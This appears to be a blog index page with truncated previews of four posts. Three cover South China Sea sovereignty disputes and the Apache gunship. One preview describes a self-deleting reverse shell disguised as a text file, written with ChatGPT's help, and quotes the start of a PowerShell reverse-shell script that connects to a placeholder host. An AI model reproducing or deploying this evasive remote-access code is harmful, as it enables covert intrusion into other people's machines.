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Sandy Cay: Another line in the sand crossed by you, guessed it; China. Sandy Cay Sandy Cay and Chinese South China Sea sovereignty claims. China has recently taken steps to assert its maritime control in the contested South China Sea by establishing sovereign jurisdiction over Sandy Cay reef, a small and uninhabited sandbank. Earlier, we have seen China seize and militarize the Paracel Islands (South China Sea), the Spratly Islands , Scarborough Shoal , Fiery Cross, Subi, Mischief, Cuarteron, Gaven, Hughes and finally Johnson reefs. The former South China Sea land relamation projects serve her military doctrine. This move included planting the Chinese flag on the reef, a strategic location just a few kilometres away from the Philippine-held Thitu Island,  a vital military installation of the Philippines that includes an army aviation-capable airstrip and 250 residents.  The situation has escalated tensions in the region as Sandy Cay is also claimed by Taiwan, Vietnam, and th...

AH64 Apache Gunship AH64 Apache Gunship in Action: A Squadron Publication. The U.S. Army and foreign nations have seen the production of some 4,450 Apache helicopters.  This number does not even account for the upgraded AH64E Longbow version, with new build models entering the Army aviation fleet nor the upgraded Manned Unmanned Teaming Experimental or MUM-TX capable gunships being tested since 2019.  MUM-TX Version 6 and Unmanned Aerial Systems MUM-TX Apache's using 'Version 6 capabilities' completed testing with the gunner position now including flying both the General Atomics MQ-1C Gray Eagle and Textron Shadow Unmanned Aerial Systems or UAS.  MQ-1C Gray Eagle Textron Shadow UAS AH64E Version 6 AH64E Version 6 improvements include: Aided target detection/classification multimode laser image blending system Radar frequency interferometer (RFI) Passive ranging/range extension Fire-control radar enhancements To learn how the AH64 developed into the modern platform with UA...

Using Artificial Intelligence to make a self-deleting reverse shell: Creative uses of ChatGPT. Below you will find the C++ code included. Once compiled the reverse shell simply appears as a text file, complete with a default Windows icon, despite being an executable file. When the code runs it will replace itself with a dummy text file in the same directory, leaving no evidence nor source code of the program. The code launches a PowerShell script to create a reverse shell written by ChatGPT. The only requirement given to ChatGPT was to write a script that would connect to netcat, and create a reverse shell. The code is in bold  text.   $host1 = “Shell.Ip.Address” $port1 = 1234 $socket = New-Object System.Net.Sockets.TcpClient($host1, $port1) $stream = $socket.GetStream() $writer = New-Object System.IO.StreamWriter($stream) $writer.AutoFlush = $true $reader = New-Object System.IO.StreamReader($stream) $writer.WriteLine(“Connected.”) $response = “” while(...

China’s Strategic Dominance in the South China Sea: Drawing a line in the sand. The People's Republic of China (P.R.C.) relies on an enormous amount of foreign energy to power her economy; 60% of her oil imports navigates the Malacca Strait. The Malacca Strait is the world’s busiest maritime trade route, with over 100,000 large container ships transiting it yearly, carrying 64% of global trade. To dominate and strengthen her position as a pre-eminent power, China must have control of this crucial life-line for her economy, and as you will read, she has come up with both illegal and innovative means to position herself in doing just that.  The South China Sea and territorial disputes. At the same time as China has enjoyed becoming a modern and prosperous nation tied to the global order of things, with both formal admittance to the United Nations in 1971 China and a security council member, she has become an increasingly disruptive global power. China seeks to become a leading pow...